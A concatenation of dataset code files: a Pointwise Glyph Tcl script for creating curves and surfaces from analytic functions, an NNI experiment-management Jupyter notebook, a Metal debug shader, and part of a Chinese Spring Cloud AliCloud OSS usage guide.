set uStep [expr { ($uEnd - $uStart) / $uNumPoints }]
set vStep [expr { ($vEnd - $vStart) / $vNumPoints }]
set numArgs [llength [info args computeSurfacePoint]]
callBeginSurface $uStart $vStart $uEnd $vEnd $uNumPoints $vNumPoints
# storing the surface's control points
for { set j 0 } { $j <= $vNumPoints } { incr j } {
set v [expr { $vStart + $j * $vStep }]
callBeginSurfaceV $v
for { set i 0 } { $i <= $uNumPoints } { incr i } {
set u [expr { $uStart + $i * $uStep }]
switch $numArgs {
2 {
set point($i,$j) [computeSurfacePoint $u $v] }
4 {
set point($i,$j) [computeSurfacePoint $u $v $start $end] }
default {
error {Illegal number of args to computeSurfacePoint} }
}
}
callEndSurfaceV $v
}
callEndSurface
# create and start the file
set netPath [file join [file dirname [info script]] \
"analyticFunctionsNetwork.x"]
if { [file exists $netPath] } {
file delete -force netPath
}
set fp [open $netPath w]
puts $fp 1
puts $fp "[expr {$uNumPoints+1}] [expr {$vNumPoints+1}] 1"
# saving the control points
for { set dim 0 } { $dim < 3 } { incr dim } {
for { set j 0 } { $j <= $vNumPoints } { incr j } {
for { set i 0 } { $i <= $uNumPoints } { incr i } {
puts $fp " [lindex $point($i,$j) $dim] "
}
}
puts $fp ""
}
close $fp
# import the file
set entities [pw::Database import -type PLOT3D $netPath]
# spline the result (if requested)
if { $surface(Spline) } {
foreach entity $entities {
$entity spline
}
}
file delete $netPath
}
# updates the button state (will be disabled when entries are not valid inputs
# with which to make a segment or surface)
proc updateButtons { } {
global w color control surface infoMessage
# check that either a surface or segment can be created
if { $control(EntityType) == "N/A" } {
$w(ButtonOk) configure -state disabled
set infoMessage "Select a script that contains a Tcl proc named\
computeSegmentPoint or computeSurfacePoint."
return
}
# check that the entries the user has input are valid
set canCreate 1
if { $control(EntityType) eq "Segment" } {
set infoMessage "Press OK to create the curve"
if { ! [string equal -nocase [$w(EntryStart) cget -background] \
$color(Valid)] } {
set infoMessage "Enter a valid starting U parameter value"
set canCreate 0
}
if { ! [string equal -nocase [$w(EntryEnd) cget -background] \
$color(Valid)] } {
set infoMessage "Enter a valid ending U parameter value"
set canCreate 0
}
if { ! [string equal -nocase [$w(EntryNumPoints) cget -background] \
$color(Valid)] } {
set infoMessage "Enter a valid number of control points"
set canCreate 0
}
} else {
set infoMessage "Press OK to create the surface"
if { ! [string equal -nocase [$w(EntryStartUV) cget -background] \
$color(Valid)] } {
set infoMessage "Enter valid starting U V parameter values"
set canCreate 0
}
if { ! [string equal -nocase [$w(EntryEndUV) cget -background] \
$color(Valid)] } {
set infoMessage "Enter valid ending U V parameter values"
set canCreate 0
}
if { ! [string equal -nocase [$w(EntryNumPointsUV) cget -background] \
$color(Valid)] } {
set infoMessage "Enter a valid number of U V control points"
set canCreate 0
}
}
if { $canCreate } {
$w(ButtonOk) configure -state normal
} else {
$w(ButtonOk) configure -state disabled
}
}
# validation functions; check if input matches some condition, sets widget color
# to $color(Invalid) if not, and calls 'updateButtons'
# checks that $u is a positive non-zero int
proc validateInt { u widget } {
global w color
if { [llength $u] != 1
|| ! [string is int -strict $u]
|| $u <= 0 } {
$w($widget) configure -background $color(Invalid)
} else {
$w($widget) configure -background $color(Valid)
}
updateButtons
return 1
}
# checks that $uv is a pair of positive non-zero ints
proc validateIntPair { uv widget } {
global w color
if { [llength $uv] != 2
|| ! [string is int -strict [lindex $uv 0]]
|| ! [string is int -strict [lindex $uv 1]]
|| [lindex $uv 0] <= 0
|| [lindex $uv 1] <= 0 } {
$w($widget) configure -background $color(Invalid)
} else {
$w($widget) configure -background $color(Valid)
}
updateButtons
return 1
}
# checks $u is a double
proc validateDouble { u widget } {
global w color
if { [llength $u] != 1
|| ! [string is double -strict $u] } {
$w($widget) configure -background $color(Invalid)
} else {
$w($widget) configure -background $color(Valid)
}
updateButtons
return 1
}
# checks $uv is a pair of doubles
proc validateDoublePair { uv widget } {
#remove this if above code works
global w color
if { [catch { eval [concat pwu::Vector2 set $uv] } uv]
|| ! [string is double -strict [lindex $uv 0]]
|| ! [string is double -strict [lindex $uv 1]] } {
$w($widget) configure -background $color(Invalid)
} else {
$w($widget) configure -background $color(Valid)
}
updateButtons
return 1
}
# loads the specified file and disables segment and/or surface
# if they are not possible
proc validateUserProcs { fileName } {
global w control
# delete all existing user functions
catch { rename computeSegmentPoint {} }
catch { rename computeSurfacePoint {} }
# load the new file
if { [file exists $fileName] } {
catch { source $fileName }
}
# figure out which type of file the user loaded.
set canMakeSegment [procExists "computeSegmentPoint"]
set canMakeSurface [procExists "computeSurfacePoint"]
# set widget states to match the file-type
if { $canMakeSegment && $canMakeSurface } {
$w(ComboEntityType) configure -state readonly
if { $control(EntityType) eq "N/A" } {
set control(EntityType) "Segment"
}
} elseif { $canMakeSegment } {
set control(EntityType) "Segment"
$w(ComboEntityType) configure -state disabled
} elseif { $canMakeSurface } {
set control(EntityType) "Surface"
$w(ComboEntityType) configure -state disabled
} else {
set control(EntityType) "N/A"
$w(ComboEntityType) configure -state disabled
}
event generate $w(ComboEntityType) <<ComboboxSelected>>
updateButtons
return 1
}
# respond to ok being pressed
proc okAction { } {
global control segment surface
if { $control(EntityType) eq "Segment" } {
set mode [pw::Application begin Create]
# short cut for segment(Start) and segment(End) cast to double
set segStart [expr { 1.0 * $segment(Start) }]
set segEnd [expr { 1.0 * $segment(End) }]
set stepSize [expr ($segEnd-$segStart) / $segment(NumPoints)]
if { $control(SegmentType) eq "database" } {
createCurve $segStart $segEnd $stepSize
} elseif { $control(SegmentType) eq "grid" } {
createConnector $segStart $segEnd $stepSize
} else {
createSourceCurve $segStart $segEnd $stepSize
}
$mode end
} else {
createNetworkSurface $surface(Start) $surface(End) $surface(NumPoints)
}
}
# respond to file button being pressed
proc fileAction { } {
global control w
# query for the new file
if { [file exists $control(File)] } {
set possibility [tk_getOpenFile -initialfile $control(File) \
-filetypes {{Glyph .glf} {All *}}]
if { ! ($possibility eq "") } {
set control(File) $possibility
}
} else {
set localDir [file dirname [info script]]
set control(File) [tk_getOpenFile -initialdir $localDir \
-filetypes {{Glyph .glf} {All *}}]
}
validateUserProcs $control(File)
# correct alignment
$w(EntryFile) xview moveto 1
}
# build the user interface
proc makeWindow { } {
global w control color
# create the widgets
label $w(LabelTitle) -text "Analytic Surface/Curve"
set fontSize [font actual TkCaptionFont -size]
set titleFont [font create -family [font actual TkCaptionFont -family] \
-weight bold -size [expr {int(1.5 * $fontSize)}]]
$w(LabelTitle) configure -font $titleFont
frame $w(FrameMain)
label $w(LabelFile) -text "Analytic Function (Script):" -padx 2 -anchor e
entry $w(EntryFile) -width 32 -bd 2 -textvariable control(File)
# correct alignment
$w(EntryFile) xview moveto 1
button $w(ButtonFile) -width 9 -bd 2 -text "Browse..." -command fileAction
label $w(LabelEntityType) -text "Entity Type:" -padx 2 -anchor e
ttk::combobox $w(ComboEntityType) -textvariable control(EntityType) \
-values [list "Segment" "Surface"] -state readonly
labelframe $w(FrameSegment) -bd 3 -text "Parameters"
labelframe $w(FrameSegmentType) -bd 3 -text "Segment Type"
radiobutton $w(RadioDatabase) -width 12 -bd 2 -text "Database Curve" \
-variable control(SegmentType) -value database
radiobutton $w(RadioGrid) -width 12 -bd 2 -text "Grid Connector" \
-variable control(SegmentType) -value grid
radiobutton $w(RadioSource) -width 12 -bd 2 -text "Source Curve" \
-variable control(SegmentType) -value source
label $w(LabelStart) -text "Start (U):" -padx 2 -anchor e
entry $w(EntryStart) -width 6 -bd 2 -textvariable segment(Start)
$w(EntryStart) configure -background $color(Valid)
label $w(LabelEnd) -text "End (U):" -padx 2 -anchor e
entry $w(EntryEnd) -width 6 -bd 2 -textvariable segment(End)
$w(EntryEnd) configure -background $color(Valid)
label $w(LabelNumPoints) -text "Number of Control Points (U):" -padx 2 \
-anchor e
entry $w(EntryNumPoints) -width 6 -bd 2 -textvariable segment(NumPoints)
$w(EntryNumPoints) configure -background $color(Valid)
labelframe $w(FrameType) -bd 3 -text "Curve Algorithm Options"
radiobutton $w(RadioCatmullRom) -width 12 -bd 2 -text "Catmull-Rom" \
-variable segment(Type) -value CatmullRom
radiobutton $w(RadioAkima) -width 12 -bd 2 -text "Akima" \
-variable segment(Type) -value Akima
radiobutton $w(RadioLinear) -width 12 -bd 2 -text "Linear" \
-variable segment(Type) -value Linear
labelframe $w(FrameSurface) -bd 3 -text "Parameters" -height 36
label $w(LabelStartUV) -text "Start (UV):" -padx 2 -anchor e
entry $w(EntryStartUV) -width 6 -bd 2 -textvariable surface(Start)
$w(EntryStartUV) configure -background $color(Valid)
label $w(LabelEndUV) -text "End (UV):" -padx 2 -anchor e
entry $w(EntryEndUV) -width 6 -bd 2 -textvariable surface(End)
$w(EntryEndUV) configure -background $color(Valid)
label $w(LabelNumPointsUV) -text "Number of Control Points (UV):" \
-padx 2 -anchor e
entry $w(EntryNumPointsUV) -width 6 -bd 2 -textvariable surface(NumPoints)
$w(EntryNumPointsUV) configure -background $color(Valid)
checkbutton $w(CheckSplineUV) -text "Spline result (recommended)" \
-variable surface(Spline)
frame $w(FrameButtons) -bd 0
label $w(Logo) -image [pwLogo] -bd 0 -relief flat
button $w(ButtonOk) -width 12 -bd 2 -text "OK" \
-command {
wm withdraw .
okAction
writeDefaults
exit
}
button $w(ButtonCancel) -width 12 -bd 2 -text "Cancel" \
-command {
writeDefaults
exit
}
message $w(Message) -textvariable infoMessage -background beige \
-bd 2 -relief sunken -padx 5 -pady 5 -anchor w \
-justify left -width 300
$w(EntryFile) configure -validate key \
-vcmd { validateUserProcs %P }
$w(EntryStart) configure -validate key \
-vcmd { validateDouble %P EntryStart }
$w(EntryEnd) configure -validate key \
-vcmd { validateDouble %P EntryEnd }
$w(EntryNumPoints) configure -validate key \
-vcmd { validateInt %P EntryNumPoints }
$w(EntryStartUV) configure -validate key \
-vcmd { validateDoublePair %P EntryStartUV }
$w(EntryEndUV) configure -validate key \
-vcmd { validateDoublePair %P EntryEndUV }
$w(EntryNumPointsUV) configure -validate key \
-vcmd { validateIntPair %P EntryNumPointsUV }
# lay out the form
pack $w(LabelTitle) -side top
pack [frame .sp -bd 1 -height 2 -relief sunken] -pady 4 -side top -fill x
pack $w(FrameMain) -side top -fill x
pack $w(FrameButtons) -side top -fill x -expand 1
# lay out the form in a grid
grid $w(LabelFile) $w(EntryFile) $w(ButtonFile) -sticky ew -pady 3 -padx 3
grid $w(LabelEntityType) $w(ComboEntityType) -sticky ew -pady 5 -padx 5
grid $w(FrameSegment) -sticky ew -pady 5 -padx 5 -column 0 -columnspan 3
grid $w(FrameSegmentType) -sticky ew -pady 5 -padx 5 -column 0 -columnspan 2
grid $w(RadioDatabase) $w(RadioGrid) $w(RadioSource) -sticky ew -pady 3 -padx 3
grid $w(LabelStart) $w(EntryStart) -sticky ew -pady 3 -padx 3
grid $w(LabelEnd) $w(EntryEnd) -sticky ew -pady 3 -padx 3
grid $w(LabelNumPoints) $w(EntryNumPoints) -sticky ew -pady 3 -padx 3
grid $w(FrameType) -sticky ew -pady 5 -padx 5 -column 0 -columnspan 3
grid $w(RadioCatmullRom) $w(RadioAkima) $w(RadioLinear) \
-sticky ew -pady 3 -padx 3
grid columnconfigure $w(FrameSegment) 1 -weight 1
grid $w(FrameSurface) -sticky ew -pady 5 -padx 5 -column 0 -columnspan 3
grid $w(LabelStartUV) $w(EntryStartUV) -sticky ew -pady 3 -padx 3
grid $w(LabelEndUV) $w(EntryEndUV) -sticky ew -pady 3 -padx 3
grid $w(LabelNumPointsUV) $w(EntryNumPointsUV) -sticky ew -pady 3 -padx 3
grid $w(CheckSplineUV) -sticky w -pady 3 -padx 3
grid columnconfigure $w(FrameSurface) 1 -weight 1
# set gridding and de-gridding commands for relevant frames. Set initial
# gridded or ungridded state as well. Also update the buttons
# on program state in the command configuration.
grid remove $w(FrameSurface)
bind $w(ComboEntityType) <<ComboboxSelected>> \
{
switch $control(EntityType) {
Segment {
grid $w(FrameSegment)
grid remove $w(FrameSurface)
}
Surface {
grid $w(FrameSurface)
grid remove $w(FrameSegment)
}
default {
grid remove $w(FrameSegment)
grid remove $w(FrameSurface)
}
}
updateButtons
}
validateUserProcs $control(File)
grid columnconfigure $w(FrameMain) 1 -weight 1
pack $w(ButtonCancel) $w(ButtonOk) -pady 3 -padx 3 -side right
pack $w(Logo) -side left -padx 5
pack $w(Message) -side bottom -fill x -anchor s
bind . <Control-Return> { $w(ButtonOk) invoke }
bind . <Escape> { $w(ButtonCancel) invoke }
# move keyboard focus to the first entry
focus $w(EntryFile)
raise .
# don't allow window to resize
wm resizable . 0 0
}
proc pwLogo {} {
set logoData "
R0lGODlheAAYAIcAAAAAAAICAgUFBQkJCQwMDBERERUVFRkZGRwcHCEhISYmJisrKy0tLTIyMjQ0
NDk5OT09PUFBQUVFRUpKSk1NTVFRUVRUVFpaWlxcXGBgYGVlZWlpaW1tbXFxcXR0dHp6en5+fgBi
qQNkqQVkqQdnrApmpgpnqgpprA5prBFrrRNtrhZvsBhwrxdxsBlxsSJ2syJ3tCR2siZ5tSh6tix8
ti5+uTF+ujCAuDODvjaDvDuGujiFvT6Fuj2HvTyIvkGKvkWJu0yUv2mQrEOKwEWNwkaPxEiNwUqR
xk6Sw06SxU6Uxk+RyVKTxlCUwFKVxVWUwlWWxlKXyFOVzFWWyFaYyFmYx16bwlmZyVicyF2ayFyb
zF2cyV2cz2GaxGSex2GdymGezGOgzGSgyGWgzmihzWmkz22iymyizGmj0Gqk0m2l0HWqz3asznqn
ynuszXKp0XKq1nWp0Xaq1Hes0Xat1Hmt1Xyt0Huw1Xux2IGBgYWFhYqKio6Ojo6Xn5CQkJWVlZiY
mJycnKCgoKCioqKioqSkpKampqmpqaurq62trbGxsbKysrW1tbi4uLq6ur29vYCu0YixzYOw14G0
1oaz14e114K124O03YWz2Ie12oW13Im10o621Ii22oi23Iy32oq52Y252Y+73ZS51Ze81JC625G7
3JG825K83Je72pW93Zq92Zi/35G+4aC90qG+15bA3ZnA3Z7A2pjA4Z/E4qLA2KDF3qTA2qTE3avF
36zG3rLM3aPF4qfJ5KzJ4LPL5LLM5LTO4rbN5bLR6LTR6LXQ6r3T5L3V6cLCwsTExMbGxsvLy8/P
z9HR0dXV1dbW1tjY2Nra2tzc3N7e3sDW5sHV6cTY6MnZ79De7dTg6dTh69Xi7dbj7tni793m7tXj
8Nbk9tjl9N3m9N/p9eHh4eTk5Obm5ujo6Orq6u3t7e7u7uDp8efs8uXs+Ozv8+3z9vDw8PLy8vL0
9/b29vb5+/f6+/j4+Pn6+/r6+vr6/Pn8/fr8/Pv9/vz8/P7+/gAAACH5BAMAAP8ALAAAAAB4ABgA
AAj/AP8JHEiwoMGDCBMqXMiwocOHECNKnEixosWLGDNqZCioo0dC0Q7Sy2btlitisrjpK4io4yF/
yjzKRIZPIDSZOAUVmubxGUF88Aj2K+TxnKKOhfoJdOSxXEF1OXHCi5fnTx5oBgFo3QogwAalAv1V
yyUqFCtVZ2DZceOOIAKtB/pp4Mo1waN/gOjSJXBugFYJBBflIYhsq4F5DLQSmCcwwVZlBZvppQtt
D6M8gUBknQxA879+kXixwtauXbhheFph6dSmnsC3AOLO5TygWV7OAAj8u6A1QEiBEg4PnA2gw7/E
uRn3M7C1WWTcWqHlScahkJ7NkwnE80dqFiVw/Pz5/xMn7MsZLzUsvXoNVy50C7c56y6s1YPNAAAC
CYxXoLdP5IsJtMBWjDwHHTSJ/AENIHsYJMCDD+K31SPymEFLKNeM880xxXxCxhxoUKFJDNv8A5ts
W0EowFYFBFLAizDGmMA//iAnXAdaLaCUIVtFIBCAjP2Do1YNBCnQMwgkqeSSCEjzzyJ/BFJTQfNU
WSU6/Wk1yChjlJKJLcfEgsoaY0ARigxjgKEFJPec6J5WzFQJDwS9xdPQH1sR4k8DWzXijwRbHfKj
YkFO45dWFoCVUTqMMgrNoQD08ckPsaixBRxPKFEDEbEMAYYTSGQRxzpuEueTQBlshc5A6pjj6pQD
wf9DgFYP+MPHVhKQs2Js9gya3EB7cMWBPwL1A8+xyCYLD7EKQSfEF1uMEcsXTiThQhmszBCGC7G0
QAUT1JS61an/pKrVqsBttYxBxDGjzqxd8abVBwMBOZA/xHUmUDQB9OvvvwGYsxBuCNRSxidOwFCH
J5dMgcYJUKjQCwlahDHEL+JqRa65AKD7D6BarVsQM1tpgK9eAjjpa4D3esBVgdFAB4DAzXImiDY5
vCFHESko4cMKSJwAxhgzFLFDHEUYkzEAG6s6EMgAiFzQA4rBIxldExBkr1AcJzBPzNDRnFCKBpTd
gCD/cKKKDFuYQoQVNhhBBSY9TBHCFVW4UMkuSzf/fe7T6h4kyFZ/+BMBXYpoTahB8yiwlSFgdzXA
5JQPIDZCW1FgkDVxgGKCFCywEUQaKNitRA5UXHGFHN30PRDHHkMtNUHzMAcAA/4gwhUCsB63uEF+
bMVB5BVMtFXWBfljBhhgbCFCEyI4EcIRL4ChRgh36LBJPq6j6nS6ISPkslY0wQbAYIr/ahCeWg2f
ufFaIV8QNpeMMAkVlSyRiRNb0DFCFlu4wSlWYaL2mOp13/tY4A7CL63cRQ9aEYBT0seyfsQjHedg
xAG24ofITaBRIGTW2OJ3EH7o4gtfCIETRBAFEYRgC06YAw3CkIqVdK9cCZRdQgCVAKWYwy/FK4i9
3TYQIboE4BmR6wrABBCUmgFAfgXZRxfs4ARPPCEOZJjCHVxABFAA4R3sic2bmIbAv4EvaglJBACu
IxAMAKARBrFXvrhiAX8kEWVNHOETE+IPbzyBCD8oQRZwwIVOyAAXrgkjijRWxo4BLnwIwUcCJvgP
ZShAUfVa3Bz/EpQ70oWJC2mAKDmwEHYAIxhikAQPeOCLdRTEAhGIQKL0IMoGTGMgIBClA9QxkA3U
0hkKgcy9HHEQDcRyAr0ChAWWucwNMIJZ5KilNGvpADtt5JrYzKY2t8nNbnrzm+B8SEAAADs="
return [image create photo -format GIF -data $logoData]
}
readDefaults
makeWindow
tkwait window .
#
# DISCLAIMER:
# TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, POINTWISE DISCLAIMS
# ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING, BUT NOT LIMITED
# TO, IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
# PURPOSE, WITH REGARD TO THIS SCRIPT. TO THE MAXIMUM EXTENT PERMITTED
# BY APPLICABLE LAW, IN NO EVENT SHALL POINTWISE BE LIABLE TO ANY PARTY
# FOR ANY SPECIAL, INCIDENTAL, INDIRECT, OR CONSEQUENTIAL DAMAGES
# WHATSOEVER (INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF
# BUSINESS INFORMATION, OR ANY OTHER PECUNIARY LOSS) ARISING OUT OF THE
# USE OF OR INABILITY TO USE THIS SCRIPT EVEN IF POINTWISE HAS BEEN
# ADVISED OF THE POSSIBILITY OF SUCH DAMAGES AND REGARDLESS OF THE
# FAULT OR NEGLIGENCE OF POINTWISE.
#
| Glyph | 5 | smola/language-dataset | data/github.com/pointwise/CreateFromAnalyticFunction/e8dc6830cd04079e9ed062f2586249a37e8cab29/CreateFromAnalyticFunction.glf | [
"MIT"
] |
{
"cells": [
{
"cell_type": "markdown",
"id": "white-electron",
"metadata": {},
"source": [
"## Connect and Manage an Exist Experiment"
]
},
{
"cell_type": "markdown",
"id": "recent-italic",
"metadata": {},
"source": [
"### 1. Connect Experiment"
]
},
{
"cell_type": "code",
"execution_count": 1,
"id": "statistical-repair",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"[2021-03-05 12:18:28] Connect to port 8080 success, experiment id is DH8pVfXc, status is RUNNING.\n"
]
}
],
"source": [
"from nni.experiment import Experiment\n",
"experiment = Experiment.connect(8080)"
]
},
{
"cell_type": "markdown",
"id": "defensive-scratch",
"metadata": {},
"source": [
"### 2. Experiment View & Control"
]
},
{
"cell_type": "code",
"execution_count": 2,
"id": "independent-touch",
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"{'id': 'DH8pVfXc',\n",
" 'revision': 4,\n",
" 'execDuration': 10,\n",
" 'logDir': '/home/ningshang/nni-experiments/DH8pVfXc',\n",
" 'nextSequenceId': 1,\n",
" 'params': {'authorName': 'default',\n",
" 'experimentName': 'example_sklearn-classification',\n",
" 'trialConcurrency': 1,\n",
" 'maxExecDuration': 3600,\n",
" 'maxTrialNum': 100,\n",
" 'searchSpace': '{\"C\": {\"_type\": \"uniform\", \"_value\": [0.1, 1]}, \"kernel\": {\"_type\": \"choice\", \"_value\": [\"linear\", \"rbf\", \"poly\", \"sigmoid\"]}, \"degree\": {\"_type\": \"choice\", \"_value\": [1, 2, 3, 4]}, \"gamma\": {\"_type\": \"uniform\", \"_value\": [0.01, 0.1]}, \"coef0\": {\"_type\": \"uniform\", \"_value\": [0.01, 0.1]}}',\n",
" 'trainingServicePlatform': 'local',\n",
" 'tuner': {'builtinTunerName': 'TPE',\n",
" 'classArgs': {'optimize_mode': 'maximize'},\n",
" 'checkpointDir': '/home/ningshang/nni-experiments/DH8pVfXc/checkpoint'},\n",
" 'versionCheck': True,\n",
" 'clusterMetaData': [{'key': 'trial_config',\n",
" 'value': {'command': 'python3 main.py',\n",
" 'codeDir': '/home/ningshang/nni/examples/trials/sklearn/classification/.',\n",
" 'gpuNum': 0}}]},\n",
" 'startTime': 1614946699989}"
]
},
"execution_count": 2,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"experiment.get_experiment_profile()"
]
},
{
"cell_type": "code",
"execution_count": 3,
"id": "printable-bookmark",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"[2021-03-05 12:18:32] (root) Successfully update maxTrialNum.\n"
]
}
],
"source": [
"experiment.update_max_trial_number(200)"
]
},
{
"cell_type": "code",
"execution_count": 4,
"id": "marine-serial",
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"{'id': 'DH8pVfXc',\n",
" 'revision': 5,\n",
" 'execDuration': 14,\n",
" 'logDir': '/home/ningshang/nni-experiments/DH8pVfXc',\n",
" 'nextSequenceId': 1,\n",
" 'params': {'authorName': 'default',\n",
" 'experimentName': 'example_sklearn-classification',\n",
" 'trialConcurrency': 1,\n",
" 'maxExecDuration': 3600,\n",
" 'maxTrialNum': 200,\n",
" 'searchSpace': '{\"C\": {\"_type\": \"uniform\", \"_value\": [0.1, 1]}, \"kernel\": {\"_type\": \"choice\", \"_value\": [\"linear\", \"rbf\", \"poly\", \"sigmoid\"]}, \"degree\": {\"_type\": \"choice\", \"_value\": [1, 2, 3, 4]}, \"gamma\": {\"_type\": \"uniform\", \"_value\": [0.01, 0.1]}, \"coef0\": {\"_type\": \"uniform\", \"_value\": [0.01, 0.1]}}',\n",
" 'trainingServicePlatform': 'local',\n",
" 'tuner': {'builtinTunerName': 'TPE',\n",
" 'classArgs': {'optimize_mode': 'maximize'},\n",
" 'checkpointDir': '/home/ningshang/nni-experiments/DH8pVfXc/checkpoint'},\n",
" 'versionCheck': True,\n",
" 'clusterMetaData': [{'key': 'trial_config',\n",
" 'value': {'command': 'python3 main.py',\n",
" 'codeDir': '/home/ningshang/nni/examples/trials/sklearn/classification/.',\n",
" 'gpuNum': 0}}]},\n",
" 'startTime': 1614946699989}"
]
},
"execution_count": 4,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"experiment.get_experiment_profile()"
]
},
{
"cell_type": "markdown",
"id": "opened-lounge",
"metadata": {},
"source": [
"### 3. Stop Experiment"
]
},
{
"cell_type": "code",
"execution_count": 5,
"id": "emotional-machinery",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"[2021-03-05 12:18:36] Stopping experiment, please wait...\n",
"[2021-03-05 12:18:38] Experiment stopped\n"
]
}
],
"source": [
"experiment.stop()"
]
}
],
"metadata": {
"kernelspec": {
"display_name": "nni-dev",
"language": "python",
"name": "nni-dev"
},
"language_info": {
"codemirror_mode": {
"name": "ipython",
"version": 3
},
"file_extension": ".py",
"mimetype": "text/x-python",
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
"version": "3.7.9"
}
},
"nbformat": 4,
"nbformat_minor": 5
}
| Jupyter Notebook | 4 | dutxubo/nni | examples/trials/sklearn/classification/python_api_connect.ipynb | [
"MIT"
] |
#include <metal_stdlib>
#include <simd/simd.h>
using namespace metal;
typedef struct
{
float2 a_position [[attribute(0)]];
} Vertex_T;
typedef struct
{
float4 position [[position]];
} Fragment_T;
typedef struct
{
float4 u_color;
} Uniforms_T;
vertex Fragment_T vsDebugRect(const Vertex_T in [[stage_in]])
{
Fragment_T out;
out.position = float4(in.a_position, 0.0, 1.0);
return out;
}
fragment float4 fsDebugRect(const Fragment_T in [[stage_in]],
constant Uniforms_T & uniforms [[buffer(0)]])
{
return uniforms.u_color;
}
| Metal | 4 | smartyw/organicmaps | shaders/Metal/debug_rect.metal | [
"Apache-2.0"
] |
== Spring Cloud AliCloud OSS
OSS(Object Storage Service)是阿里云的一款对象存储服务产品, Spring Cloud AliCloud OSS 提供了Spring Cloud规范下商业版的对象存储服务,提供简单易用的API,并且支持与 Spring 框架中 Resource 的整合。
=== 如何引入 Spring Cloud AliCloud OSS
如果要在您的项目中引入 OSS,使用 group ID 为 `org.springframework.cloud` 和 artifact ID 为 `spring-cloud-starter-alicloud-oss` 的 starter。
[source,xml]
----
<dependency>
<groupId>com.alibaba.cloud</groupId>
<artifactId>spring-cloud-starter-alicloud-oss</artifactId>
</dependency>
----
=== 如何使用 OSS API
==== 配置 OSS
使用 Spring Cloud AliCloud OSS 之前,需要在 application.properties 中加入以下配置。
[source,properties]
----
spring.cloud.alicloud.access-key=你的阿里云AK
spring.cloud.alicloud.secret-key=你的阿里云SK
spring.cloud.alicloud.oss.endpoint=***.aliyuncs.com
----
access-key 和 secret-key 是阿里云账号的AK/SK,需要首先注册阿里云账号,然后登陆 https://usercenter.console.aliyun.com/#/manage/ak[阿里云AK/SK管理页面] ,即可看到 AccessKey ID 和 Access Key Secret ,如果没有的话,需要点击"创建AccessKey"按钮创建。
endpoint可以到 OSS 的 https://help.aliyun.com/document_detail/31837.html?spm=a2c4g.11186623.2.9.7dc72841Z2hGqa#concept-zt4-cvy-5db[官方文档]中查看,根据所在的 region ,填写对应的 endpoint 即可。
==== 引入 OSS API
Spring Cloud Alicloud OSS 中的 OSS API 基于阿里云官方OSS SDK提供,具备上传、下载、查看等所有对象存储类操作API。
一个简单的使用 OSS API 的应用如下。
[source,java]
----
@SpringBootApplication
public class OssApplication {
@Autowired
private OSS ossClient;
@RequestMapping("/")
public String home() {
ossClient.putObject("bucketName", "fileName", new FileInputStream("/your/local/file/path"));
return "upload success";
}
public static void main(String[] args) throws URISyntaxException {
SpringApplication.run(OssApplication.class, args);
}
}
----
在上传文件之前,首先需要 https://account.aliyun.com/register/register.htm?spm=5176.8142029.388261.26.e9396d3eaYK2sG&oauth_callback=https%3A%2F%2Fwww.aliyun.com%2F[注册阿里云账号] ,如果已经有的话,请 https://common-buy.aliyun.com/?spm=5176.8465980.unusable.dopen.4cdf1450rg8Ujb&commodityCode=oss#/open[开通OSS服务]。
进入 https://oss.console.aliyun.com/overview[OSS控制台],点击左侧"新建Bucket",按照提示创建一个Bucket,然后将bucket名称替换掉上面代码中的"bucketName",而"fileName"取任意文件名,"/your/local/file/path"取任意本地文件路径,然后 curl http://127.0.0.1:端口/ 即可上传文件,可以到 https://oss.console.aliyun.com/overview[OSS控制台]查看效果。
更多关于 OSS API 的操作,可以参考 https://help.aliyun.com/document_detail/32008.html[OSS官方SDK文档]。
=== 与 Spring 框架的 Resource 结合
Spring Cloud AliCloud OSS 整合了 Spring 框架的 Resource 规范,可以让用户很方便的引用 OSS 的资源。
一个简单的使用 Resource 的例子如下。
[source,java]
----
@SpringBootApplication
public class OssApplication {
@Value("oss://bucketName/fileName")
private Resource file;
@GetMapping("/file")
public String fileResource() {
try {
return "get file resource success. content: " + StreamUtils.copyToString(
file.getInputStream(), Charset.forName(CharEncoding.UTF_8));
} catch (Exception e) {
return "get resource fail: " + e.getMessage();
}
}
public static void main(String[] args) throws URISyntaxException {
SpringApplication.run(OssApplication.class, args);
}
}
----
NOTE: 以上示例运行的前提是,在 OSS 上需要有名为"bucketName"的Bucket,同时在该Bucket下,存在名为"fileName"的文件。
=== 采用 STS 授权
Spring Cloud AliCloud OSS 除了 AccessKey/SecretKey 的授权方式以外,还支持 STS 授权方式。 STS 是临时访问令牌的方式,一般用于授权第三方,临时访问自己的资源。
作为第三方,也就是被授权者,只需要配置以下内容,就可以访问临时被授权的资源。
[source,properties]
----
spring.cloud.alicloud.oss.authorization-mode=STS
spring.cloud.alicloud.oss.endpoint=***.aliyuncs.com
spring.cloud.alicloud.oss.sts.access-key=你被授权的AK
spring.cloud.alicloud.oss.sts.secret-key=你被授权的SK
spring.cloud.alicloud.oss.sts.security-token=你被授权的ST
----
其中 spring.cloud.alicloud.oss.authorization-mode 是枚举类型,此时填写 STS ,代表采用 STS 的方式授权。 endpoint可以到 OSS 的 https://help.aliyun.com/document_detail/31837.html?spm=a2c4g.11186623.2.9.7dc72841Z2hGqa#concept-zt4-cvy-5db[官方文档]中查看,根据所在的 region ,填写对应的 endpoint 即可。
access-key、secret-key和security-token需要由授权方颁发,如果对 STS 不了解的话,可以参考 https://help.aliyun.com/document_detail/31867.html[STS官方文档]。
=== 更多客户端配置
除了基本的配置项以外, Spring Cloud AliCloud OSS 还支持很多额外的配置,也是在 application.properties 文件中。
以下是一些简单的示例。
[source,properties]
----
spring.cloud.alicloud.oss.authorization-mode=STS
spring.cloud.alicloud.oss.endpoint=***.aliyuncs.com
spring.cloud.alicloud.oss.sts.access-key=你被授权的AK
